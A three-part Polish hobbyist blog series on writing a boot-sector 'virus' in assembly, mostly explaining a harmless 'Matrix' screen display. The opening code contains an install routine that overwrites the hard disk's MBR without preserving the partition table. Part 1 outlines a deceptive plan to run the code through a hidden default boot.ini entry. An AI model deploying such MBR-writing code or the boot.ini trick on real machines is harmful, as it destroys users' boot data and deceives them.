      MOV CX,0001h        ;numer sciezki i sektora do czytania

      MOV DX,0080h        ;DH-glowica,DL-HDD, czytamy z pierwszego dysku twardego
      MOV BX,1000h
      MOV ES,BX
      XOR BX,BX
      MOV AX,0201h
      INT 13h             ;no to czytamy, przyjmujemy, ze nie bylo bledu

      
      MOV AH,BYTE [ES:BX+2]
      CMP AH,\'?\'
      JZ SHORT print_mem
    instal:               ;instalacja wirusa do MBR
      XOR BX,BX

      MOV ES,BX
      MOV BX,start
      MOV CX,0001h        ;numer sciezki i sektora do czytania
      MOV DX,0080h        ;DH-glowica,DL-HDD, czytamy z pierwszego dysku twardego

      MOV AX,0301h
      INT 13h             ;no to zapisujemy, nie sprawdzamy czy byl blad.
    print_mem:            ;wlasciwe dzialanie \"wirusa\"

      XOR AX,AX
      MOV DS,AX
      MOV BX,0B800h       ;ustawiamy adres pamieci ekranu w BX
      MOV ES,BX           ;przenosimy go do ES

      XOR BX,BX
    start_print:
      PUSHA
      MOV CX,0FA0h
    move_ekran:           ;przesuniecie ekranu o 80 znakow od razu
      MOV BX,CX
      MOV AX,[ES:BX-50h]

      MOV [ES:BX],AX
      DEC CX
      LOOP move_ekran
    po_move_ekran:
      POPA
      PUSH CX             ;zachowujemy CX (sam nie wiem czy potrzebnie)

      MOV CX,0A0h
    start_load:
      MOV byte AL,[DS:BX] ;czytamy bajt z pamieci
      CMP AL,00h          ;sprawdzamy czy komorka zawiera 0, jesli tak wygenerujemy jakis znak aby bylo ladnie

      JNZ short po_random
    random:               ;stosunkowo prosty generator liczb losowych - nie byl matematycznie badany
      ADD DX,10111101B    ;powinien byc tez dosc szybki

      ADD DX,BX           ;dzieki dodawaniu adresu pamieci do niego, jego okres aperiodycznosci wydaje sie byc duzy
      ROR DX,04h

      MOV AL,DL
    po_random:
      MOV byte AH,0Ah
      PUSH BX
      MOV BX,0A0h
      SUB BX,CX
      MOV word [ES:BX],AX ;piszemy na ekran

      POP BX
      INC BX              ;przesuwamy sie po pamieci
      JNZ short dalej
      PUSH DS
      POP DX
      ADD DX,1000h        ;zmieniamy segment, ale tak, aby nie nachodzil na poprzedni

      PUSH DX
      POP DS
    dalej:
      DEC CX
      LOOP start_load
      POP CX
    wait_some:
      PUSHA               ;zachowujemy rejestry
      XOR CX,CX           ;licznik jest w CX:DX

      MOV DX,4586h        ;ustawiamy licznik na 17798(4586h) mikrosekund
      MOV AH,86h
      INT 15h             ;poczekajmy chwile aby animacja byla +/- plynna

      
      POPA                ;przywracamy stan rejestrow
      JMP short start_print
    
    times 510 - ($ - start) db 0    ; dope³nienie do 510 bajtów

    dw 0aa55h        ; znacznik

A tutaj jeszcze mały powrót do części pierwszej. Screen poniżej przedstawia menu przy starcie maszyny z dodanym "systemem" reprezentującym bootsector zapisany w pliku.


Przeczytaj:
ASM: pisanie własnego MBR cz.1
ASM: pisanie własnego MBR cz.2

Grafika pochodzi z Matrix code emulator

czwartek, 28 maja 2009

Jesteśmy studentami!

Ciągle jesteśmy w rozrywkowym nastroju. Pracy w prawdzie przybywa, ale niezrażeni tym faktem idziemy na przód i bawimy się świetnie na kolejnych koncertach i imprezach juwenaliowych. Następna jutro na SGGW.

Nie abym się nudził, ale dzięki dobremu nastrojowi dusza artystyczna nie daje się okiełznać. Poza kodowaniem są przecież inne jeszcze miłe dziedziny informatyki :).

W ostatniej chwili wystygła i może zostać upubliczniona kolejna tapeta wykonana w GIMP. Inna technika, inny styl. Mam nadzieję, że komuś się spodoba. Ponownie mogłem popełnić tutorial do tego, ale samo tworzenie takiej tapety jest wystarczająco czasochłonne.


Bombowy króliczek zagościł tutaj nie bez powodu. Przyszedł pozdrowić konkretną osobę, która zapewnia mi ostatnio masę rozrywki. Buziak dla niej i to nie jeden.

Króliczek bomber pochodzi ze strony deviantART Kyoht'a Lytherman'a.

poniedziałek, 25 maja 2009

ASM: pisanie własnego MBR cz.2

Jak wspomniałem w poprzedniej części w tej postaram się wyjaśnić dlaczego rozpoczęcie prac nad MBR było trudne. A dokładniej czemu piekielne kompilatory ASM, które zawsze sprawdzały się dobrze, teraz postanowiły odmówić posłuszeństwa.

Największy problem to dyrektywa org. Bootloader to mały program (model tiny), a dokładnie aplikacja com (przynajmniej dla windowsowców). Istotne jest gdzie do pamięci ów kod jest ładowany przez wszechmocny BIOS. Kod z MBR ładowany jest pod adres: 0000:7C00h, a więc należy zadbać, aby po załadowaniu kodu CS:IP wskazywał dokładnie jego początek. Zadanie do trudnych nie należy, jednak TASM i MASM odmówiły posłuszeństwa napotykając dyrektywę org 7c00h. I to pomimo faktu dodania wszystkich innych potrzebnych tym kompilatorom głupot. No ni jak nie szło się z nimi dogadać.

Drugi problem polegał na architekturze. Tego to akurat za specjalnie nie rozumiem i wytłumaczenie może co najwyżej sprowadzać się do bo tak. Gdy natknąłem się na ten problem, to oczywiście rozwiązania szukałem po forach i innych takich zakamarkach. W zasadzie wyszło na to, że prawdopodobnie rozwiązanie nieco innego problemu rozwiązało i mój. Otóż linker z TASM'a zwracał mi jakiś dziwaczny błąd dotyczący segmentu stosu (którego nie deklarowałem), mówiący ogólnie, że nie może "opiekować się" 16b segmentami. Dyrektywa use 16/use 32 oczywiście nic nie zmieniła. Rozwiązaniem problemu było zostawić TASM32 i TLINK32 w spokoju, na rzecz starych dobrych TASM i TLINK. Zasmuciło mnie to, bo jednak chciałem skorzystać z nieco dłuższych rejestrów, ale zostałem zmuszony do użycia 16b.

Początek na początek

Każdy dobry projekt należy zaplanować. Przy tym kodzie trzeba przynajmniej główny przebieg zaplanować. Osobiście często sprowadzam to do bazgrolenia w zeszycie, albo na przypadkowych kartkach, tak więc nie zamieszczę schematu blokowego, którym się posłużyłem. Przy tak trywialnym zadaniu wystarczy jednak posłużyć się listą.
  1. sprawdź czy program jest zainstalowany
  2. zainstaluj program
  3. wyświetl zawartość pamięci
  4. powrót do 3.
Proste. Teraz można jeszcze rozwinąć poszczególne punkty. W tym arcie pozwolę sobie jednak zająć się wyłącznie punktem 3. W zasadzie stworzenie odpowiedniego kodu dla Niego zajęło mi nie mało czasu, nawet gdy już uporałem się ze środowiskiem.

Twój prywatny Matrix

Rozwińmy od razu punkt 3 do odpowiedniego algorytmu:
  1. załaduj segment pamięci ekranu do ES
  2. wyzeruj AX,BX,DS
  3. wyzeruj CX
  4. wczytaj do AH bajt spod adresu [DS:BX]
  5. do AL wstaw bajt atrybutu
  6. zapisz pod adres [ES:CX] zawartość akumulatora
  7. zwiększ BX
  8. sprawdź czy BX = 0, jeśli NIE przejdź do 10
  9. zwiększ DS o 1
  10. zwiększ CX o 2
  11. sprawdź czy CX>0FA0h jeśli TAK wróć do 3 , jeśli NIE wróc do 4
Powyższy kod to zejście o jeden poziom abstrakcji w całym naszym kodzie. Można uznać, że nawet o 2 ponieważ pokusiłem się o podanie nazw konkretnych rejestrów i konkretnych wartości. Przyznam szczerze, ta pierwotna postać algorytmu choć jest dalej realizowana przez kod, wydaje się w tej chwili aż nazbyt abstrakcyjna. Ale to chyba tylko dlatego, że uzyskałem końcowe rozwiązanie.

W pierwszym pseudokodzie cały ten algorytm został określony jako wypisanie pamięci. Na wszelki wypadek wyjaśniam więc, że polega on na odczytywaniu bajtów z pamięci i wypisywaniu ich kolejno na ekran w trybie znakowym. Całość sprowadza się do jednej pętli z dwoma licznikami: jednym przesuwanym po pamięci głównej i drugim przesuwanym po pamięci ekranu. Tutaj taka mała dygresja. nie każdy zdaje sobie sprawę, że w pewnym momencie wyświetlimy zawartość tego do czego dokładnie piszemy. Dziwne zapętlenie, ale świat dalej istnieje.

Pierwszy kod - trywializm

Na razie jeszcze nie do końca w ramach tego projektu warto podać jakikolwiek kod który może posłużyć do pisania MBR. Dokładnie to jest to baza wyjściowa dla tego kodu.

org 7C00h
start:
times 510 - ($ - start) db 0 ; dopełnienie do 510 bajtów
dw 0aa55h ; znacznik

Proste i trywialne. Całość kompiluje się do 512B aczkolwiek na koniec będzie zawierało prawie same 0. Jest to jednak baza do dalszej pracy. Jak widać zawiera wspomnianą wcześniej dyrektywę org. Znacznie istotniejsza jest jednak końcówka. Bootsector ma dokładnie 512B długości. Aby plik miał dokładnie tyle po kompilacji dodajemy przedostatnią linię, która uzupełnia program o bajty 00h. Dopełnienie jak widać jest do 510B, a to dlatego, że BootSector musi się kończyć odpowiednio. W ostatniej linii zostaje dodany 2Bajtowy znacznik końca. Razem mamy już 512B.

Pisanie po ekranie

Pierwszy problem na który się natykamy wykonując dokładnie obmyślony algorytm to pisanie na ekran. Przyjmijmy, że rozmiar ekranu wyznacza rozmiar "strony" w pamięci. W końcu przecież w ten sposób pamięć jest wypisywana na ekran. Domyślnym jest aktualnie tryb 80x25 i tego się trzymamy. Każdy znak na ekranie opisany jest przez 2 Bajty. Oznacza to, że mamy do dyspozycji 4000B na jedną "stronę". Stąd z resztą wartość 0FA0h. Problem polega na tym, że gdy dojdziemy do końca ekranu, wracamy na jego początek. Widzimy efekt nasuwania się na siebie stron. Po zapisaniu jednej zaczyna ją przesłaniać nowa.

Drugi problem to stosunkowo duża prędkość wyświetlania. Nie bardzo można zobaczyć co w ogóle się tam pojawia. Ekran szybko migocze i można co najwyżej dostać ataku epilepsji na to patrząc.

Trzeci problem to bajt atrybutu i sama zawartość akumulatora. Trzeba zawczasu ustalić jakie ma być wyświetlanie, aby te dane przygotować.

Problemami zajmiemy się w odwrotnej kolejności. Wszystko dlatego, że jest to znacznie łatwiejsza kolejność. Poza tym chodzi też o czas jaki rozwiązanie kolejnych problemów pochłonęło.

Bajt atrybutu

Miał być Matrix(TM), to będzie Matrix. Aby to się udało potrzebny nam jaskrawy zielony kolor na litery i czarne tło. Czarne tło oczywiście jest domyślne. Kolorowy tryb tekstowy, który w komputerach PC po starcie jest domyślny używa następującej struktury bajtu atrybutu:
  • 7 - Blink - migotanie
  • 6-4 - RGB Background - kolor tła
  • 3 - Intensity - intensywność
  • 2-0 - RGB Foreground - kolor liter
Wartość bajtu atrybutu dla nas:
00001010b==0Ah
Pisząc do pamięci musimy wiedzieć w jaki sposób dane są w niej przechowywane. Architektura PC przewiduję metodą Little Indian. Oznacza to, że młodszy Bajt w słowie przechowywany jest jako pierwszy, a starszy jako drugi. Jeśli o tym zapomnimy, to spotka nas niemiła niespodzianka. Wprowadza to pierwszą zmianę do algorytmu. Pozornie tylko kosmetyczną, ale pozwalającą na odpowiednie wyświetlanie. Bajty w akumulatorze należy zamienić. Bajt z pamięci ładujemy do AL, a atrybuty do AH.

Poczekajmy chwilę

Zajmijmy się problemem bardzo szybkiego migotania aplikacji. Nie trudno domyśleć się, że wyświetlanie realizowane jest tak szybko, jak szybko procesor jest w stanie przekazać dane między obszarami pamięci i kontroler ekranu wysłać je do monitora. To stanowczo za szybko dla ludzkiego oka. Z pomocą przychodzi przerwanie 15h BIOS. Dokładny jego opis można przeczytać na przykład w opisie do Emu8086. Interesuje nas Funkcja 86h, która pozwala na wstrzymanie aplikacji na CX:DX mikrosekund.

Wyliczmy odpowiedni czas wstrzymania. Ludzkie oko rejestruje około 24klatek na sekundę. w takim razie jedna klatka jest odrysowywana co ~41667 mikrosekund. Odrysujmy więc w jednej klatce cały wiersz, aby animacja była dość szybka i dość płynna. W ciągu sekundy wyświetlanie przesunie się o cały ekran. czas wstrzymania to 521us==209h. Wpisujemy kolejno do CX:=0000,DX:=0209h.

Należy pamiętać aby przed wywołaniem przerwania zapamiętać stan procesora i przywrócić go po jego zakończeniu. Dane potrzebne dla przerwania są tymczasowe i nie muszą zostać przez nas przechowane. Aby nie wybierać konkretnych rejestrów do zachowania lepiej posłużyć się rozkazami PUSHA i POPA.
Płynne pisanie
Na razie kod powoduje zasłanianie poprzednio wypisanej strony kolejną. Trzeba to jakoś zmienić. Moje rozwiązanie sprowadza się do przesuwania pamięci ekranu zamiast jej nadpisywania w całości. Pozwolę sobie opisać końcowe rozwiązanie zamiast całego procesu dochodzenia do niego. Był on z resztą dość długi i powodował sporo błędów po drodze.
  1. przesuń "obraz" o 80 znaków w prawo
  2. ustaw CX na 160
  3. pobierz znak z pamięci do AL
  4. wstaw bajt atrybutu do AH
  5. podstaw pod BX:=160-CX
  6. zapisz akumulator: [ES:BX]:=AX
  7. zmniejsz CX o 2
  8. jeśli CX!=0 wróć do 3
Przed wykonaniem tego algorytmu także trzeba zachować stan rejestrów. Najlepiej znowu użyć PUSHA i POPA, aby nie pomylić się w kolejności operacji, a także nie zapisać za mało.

Łatwo zauważyć że teraz od razu wypisywana jest cała linia z pamięci podczas jednego przebiegu głównej pętli programu. Wróćmy więc na chwilę do czasu wstrzymania aplikacji. Sleep na 521us to teraz za mało. Aplikację trzeba wstrzymać na około 80000us. Ja osobiście ustawiłem na 83334, czyli 14586h. Zapisujemy CX:=0001h, DX=4586h i wywołujemy przerwanie 15h.

Jakoś pusto tutaj

Pamięć komputera po jego uruchomieniu nie jest wypełniona zerami. Po pierwsze załadowany został już do niej BIOS. Po drugie nasz BootSector. Po trzecie stan większości komórek jest nieokreślony. Na ogół są tam losowe wartości, mogą tam nawet być śmieci z pozostałej sesji (nawet 15 minut po wyłączeniu stan pamięci potrafi się utrzymać). Dane te można więc odczytać i wyrzucić na ekran. Niestety w moim przypadku napotkałem całą masę pustych komórek. Pustych czyli wyraźnie zawierających same 00h. Zapewne właśnie dlatego, że kod testowany był pod maszyną wirtualną, a nie rzeczywistą. Uznałem jednak, że w prawdziwej sytacji może stać się podobnie, więc dodałem do aplikacji generator liczb pseudolosowych.
  1. DL:=AL
  2. DX+=10111101B
  3. DX+=BX (BX zawiera aktualny offset w pamieci)
  4. wykonaj obrót cykliczny na DX o 4 w prawo (ROR DX,04h).
  5. wynik odczytaj z DL
Jak widać seed dla generatora stanowi suma BX+AL. Jest ona na tyle zmienna i zależna od stanu aktualnego, że trudno przewidzieć jaki będzie wynik generatora. Doświadczalnie powiem, że okres ergodyczności ciągu kolejnych liczb losowych z generatora jest dostatecznie duży. Matematycznie nie zostało to jednak zbadane.

Przed wykonaniem kodu generatora zapamiętujemy stan maszyny. Tak jak już poprzednie razy. Generator oczywiście trzeba zapuścić dla każdej komórki o wartości 00h. Jak uzyskamy 00,h albo 32h, to się nie martwimy. Kod Matrix'a też miał sporo pustych przestrzeni.

Gotowy produkt

Kod jednego punktu głównego algorytmu udało mi się sprowadzić do 66 linii razem z komentarzami. Co ważne sam kod waży zaledwie 95B! Założę się, że można go skompresować jeszcze bardziej i uprościć, aby wykonał się szybciej.
    ;nasm -o bootsect.dos -f bin boot_vir.asm
    
    org 7c00h
    
    start:
    cz_inst:
    instal:

    print_mem:            ;wlasciwe dzialanie \"wirusa\"
      XOR AX,AX
      MOV DS,AX
      MOV BX,0B800h       ;ustawiamy adres pamieci ekranu w BX

      MOV ES,BX
      XOR BX,BX
    start_print:
      PUSHA
      MOV CX,0FA0h
    move_ekran:           ;przesuniecie ekranu o 80 znakow od razu
      MOV BX,CX

      MOV AX,[ES:BX-50h]
      MOV [ES:BX],AX
      DEC CX
      LOOP move_ekran
    po_move_ekran:
      POPA
      PUSH CX             ;zachowujemy CX (sam nie wiem czy potrzebnie)

      MOV CX,0A0h
    start_load:
      MOV byte AL,[DS:BX] ;czytamy bajt z pamieci
      CMP AL,00h          ;sprawdzamy czy komorka zawiera 0, jesli tak wygenerujemy jakis znak aby bylo ladnie

      JNZ short po_random
    random:               ;stosunkowo prosty generator liczb losowych - nie byl matematycznie badany
      ADD DX,10111101B    ;powinien byc tez dosc szybki

      ADD DX,BX           ;dzieki dodawaniu adresu pamieci do niego, jego okres aperiodycznosci wydaje sie byc duzy
      ROR DX,04h

      MOV AL,DL
    po_random:
      MOV byte AH,0Ah
      PUSH BX
      MOV BX,0A0h
      SUB BX,CX
      MOV word [ES:BX],AX ;piszemy na ekran

      POP BX
      INC BX              ;przesuwamy sie po pamieci
      JNZ short dalej
      PUSH DS
      POP DX
      ADD DX,1000h        ;zmieniamy segment, ale tak, aby nie nachodzil na poprzedni

      PUSH DX
      POP DS
    dalej:
      DEC CX
      LOOP start_load
      POP CX
    wait_some:
      PUSHA               ;zachowujemy rejestry
      MOV CX,0001h        ;licznik jest w CX:DX

      MOV DX,4586h        ;ustawiamy licznik na 83334(14586h) mikrosekund
      XOR AX,AX
      MOV CX,AX
      MOV AH,86h
      INT 15h             ;poczekajmy chwile aby animacja byla +/- plynna

      POPA                ;przywracamy stan rejestrow
      JMP short start_print
    
    times 510 - ($ - start) db 0    ; dope³nienie do 510 bajtów

    dw 0aa55h        ; znacznik

Starałem się opisać wszystko co można było w samym kodzie. Znajomość ASM jest wymagana. Poniżej odpalony kod na maszynie w VirtualBox.

Okno VirtualBox z uruchomionym "wirusem".
Na zakończenie tej części małe wyjaśnienie. W tekście zawarte jest dość mało gotowych przykładów kodów ASM głównie dlatego, że już mi się gotowego pliku na kawałki kroić nie chciało. Lenistwo jest straszne. Opisałem wszystko na tyle na ile mogłem, tak aby nawet początkujący był w stanie te fragmenty kodu napisać samodzielnie. Mam też nadzieję, że cały kod w jednym miejscu był w stanie rozjaśnić komuś w głowie dostatecznie.

W następnej części postaram się opisać dwa pozostałe punkty głównego algorytmu. Ich napisanie małpią metodą zajmuje piekielnie dużo czasu. Niestety każdy test może oznaczać uszkodzenie maszyny wirtualnej i konieczność stawiania na niej na nowo OS.

Do przejrzenia (Źródła):

niedziela, 24 maja 2009

ASM: pisanie własnego MBR cz.1

Pisanie programów komputerowych w ASM nie jest aktualnie zbyt popularne. Trzeba jednak przyznać, że w rękach sprawnego programisty język ten powinien dać najlepsze możliwości. No i oczywiście kod będzie najwydajniejszy. Assembler sprawdza się wszędzie tam, gdzie zasoby są ograniczone. Bez wątpienia pisanie Bootloadera bez ASM nie ma za wiele sensu.

Ten artykuł to dopiero wstęp do tego zajęcia. Zabawa z ASM i samym MBR to niestety zajęcie na wiele godzin, zważywszy na fakt, że materiały są ograniczone. Ponadto pojawiają się trudności z kompilatorami, które tak trywialnego kodu widać kompilować nie chcą.

Po kiego grzyba pisać własny Bootloader? Albo raczej cokolwiek na siłę samodzielnie wpisywać w MBR? Jak pamiętamy swego czasu dość popularne były (może nawet jeszcze są) wirusy infekujące właśnie ten obszar dysku. Powiedzmy, że zamarzyło mi się sprawdzić się w takim kodowaniu. Ponadto chciałem sprawdzić jakie są aktualnie możliwości takich infekcji przy najnowszych systemach z rodziny Windows.

Systemy Windows z rodziny NT bootują bezpośrednio. W prawdzie istnieją takie pliki jak autoexec.bat, czy config.sys, ale nie są wykorzystywane. Pojęcia nie mam czy cokolwiek robią w systemie nowszym niż Windows Me. Z poziomu systemu windows uruchomienie aplikacji piszącej do sektora na dysku (dowolnego) powoduje monit o zagrożeniu. Ostrzeżenie systemu można zignorować, jednak zapis do dysku nie specjalnie się uda. MBR jest przecież pod specjalną ochroną OS. W takim razie wydaje się, że nie bardzo istnieje możliwość zautomatycznego uszkodzenia MBR. Istnieją jednak całe 3 możliwości:
  • stworzenie aplikacji podobnej do scandisk
  • zarejestrowana usługa systemowa w Windows (mamy dostęp do wszystkiego w systemie)
  • napisanie bootsectora i edycja pliku boot.ini
Pierwszy punkt brzmi tak mało profesjonalnie w opisie. Wiele się na tej opcji w swoich poszukiwaniach nie skupiałem. Chodzi coś o natywne usługi. Są to twory, które mają dostęp do wszelkich zasobów komputera na najwyższym poziomie, do tego uruchamiają się zanim system cokolwiek zablokuje. Absolutnie nie są to aplikacje DOSowe, jak się niekiedy można doczytać w różnych miejscach.

Drugi punkt wymaga od nas zainstalowania programu jako usługi. Na własnym komputerze nie ma problemu, ale co z infekcją? Wyrzucimy na ekran monit: "czy chcesz zainstalować naszego wirusa?"?. No nie wygląda to zbyt fajnie.

Trzecia opcja polega na oszukaniu mechanizmu bootowania systemów z rodziny NT. Proces bootowania Windows z rodziny NT jest dość ciekawy i co ważne pozwala na wybór wśród wielu systemów. Bootloader od Redmont potrafi bootować nawet systemy z rodziny *nix (podobno, bo nie sprawdzałem nigdy). Proces jego działania polega jednak na wczytaniu opcji z pliku boot.ini. Tutaj mamy pole do popisu. Plik ten zawiera informacje o tym gdzie szukać bootloaderów dla konkretnych systemów zainstalowanych na maszynie. Posiada też opcje konfiguracyjne, jak domyślny system, albo czas na wybór. Daleko temu do Lilo, czy GRUB'a, które mogą mieć dowolne tło, ale zawsze lepszy rydz niż nic. Słabość tego systemu polega na tym, że plik ten można po prostu zedytować i dodając 2 linijki i zmieniając jedną uprzykrzyć użytkownikowi życie. Można też korzystając z materiałów w sieci stworzyć własny bootloader dorównujący projektom opensource i podmienić go dla Windows. Wiedząc jak powinien być zbudowany MBR możemy to zrobić poprawnie i na dodatek oszukać windows, aby myślał, że to jego własny twór.

Plik boot.ini pozwala na dodanie opcji bootowania dla systemu z rodziny "dosowatych", dla przykładu Win98. Aby to uczynić dodajemy linijkę:
c:\="Windows 98"

Tyle już wystarczy. Mamy opcję wyboru dla systemu Windows 98, którego na maszynie z resztą nie ma. To oczywiście nieistotne. Gdy opcja ta zostaje wybrana do pamięci zostaje załadowany Bootsector dla tego systemu i przekazane do niego sterowanie. Bootsector jest ładowany z pliku Bootsect.dos i tam właśnie musi znaleźć się nasz własny bootloader. Nie trudno się domyśleć, że zamiast starać się na siłę pisać do MBR wystarczy nam napisać do tego pliku kod.

Jako mroczni i źli haxiorzy chcemy, aby ten kod został w najbliższej możliwej chwili uruchomiony, więc tą opcję trzeba ustawić jako domyślną, a czas oczekiwania na decyzję zmniejszyć na tyle, aby użytkownik się nie połapał. Zainteresowani znajdą jak to zrobić w konfiguracji systemu Windows. Nie wydaje się, aby była potrzeba to opisywać. Ten art ma posłużyć edukacji, a nie szkoleniu lepiej rozgarniętych dzieciaczków pragnących zniszczyć świat, albo przynajmniej komputer tatusia.

Na koniec wstępu warto podać jakie są założenia i ograniczenia. Kod, który chcę stworzyć ma być wirusem, który nie specjalnie ma cokolwiek niszczyć. Poza MBR w którym się zadomowi nie uszkodzi nic, a jego głównym celem po uruchomieniu komputera może być na przykład zrobienie matrixa na ekranie przez wyświetlenie zawartości pamięci, która jak wiemy pusta nie jest. Ograniczenia przy pisaniu takiego kodu wyglądają następująco:
  • mały rozmiar: tylko 510B do dyspozycji, 2 ostatnie Bajty zarezerwowane, razem 512B
  • tylko przerwania BIOS - w końcu nie ma OS z którego można skorzystać
  • kod jest umieszczany pod adresem 0000:7C00, wszystkie wskaźniki muszą tam wskazywać aby się nie pogubić
Może warto jeszcze wspomnieć o pewnej drobnostce. Kod, który piszę, ale też te którymi się posiłkuję, musi zostać skompilowany i sprawdzony. W tym celu potrzebne nam:
  • kompilator ASM - NASM
  • maszyna do testów - Maszyna VirtualBox
  • System z rodziny WinNT - Windows XP Professional (dokładnie to XPLite, ale to bez znaczenia)
Ta konfiguracja pozwala na testy niezależnie od tego czy na co dzień pracujemy pod Win, czy *nix. Bardzo ważne jest, aby użyć NASM. Osobiście zawsze preferowałem TASM'a, jednak przy tym projekcie natknąłem się na kilka problemów, które mocno mnie zniechęciły. Nawet próbowałem przez chwilę korzystać z MASM, ale ten też się nie sprawdził. Nawet kod z samym NOP z góry na dół sypie Errorami. W dalszej części, albo pewnie na początku następnego arta od razu wyjaśnię co zdyskwalifikowało TASM'a. Przyda się jednak do tego przykład kodu, którego tutaj nawet nie chce mi się jeszcze przytaczać.

Jak widać jest to dość ekstremalne programowanie. Jeśli pomyśleć, że ASCII Art rozmiaru 80x25 ma 2000B, to niestety musimy o tym zapomnieć (chyba, że zapiszemy go na dysku w znanym sobie sektorze i wczytamy go gdzieś i wyświetlimy).

Tyle tytułem wstępu i tytułem wyjaśnień. W kolejnych (kolejnej?) częściach pojawi się już konkretny kod i odnośniki do źródeł, gdzie można znaleźć potrzebne informacje. Proszę o cierpliwość. Zadanie na prawdę proste nie jest, szczególnie że jestem zadeklarowanym programistą wysokopoziomowym.

Obraz pochodzi z Pointer Rulez.

Zobacz też: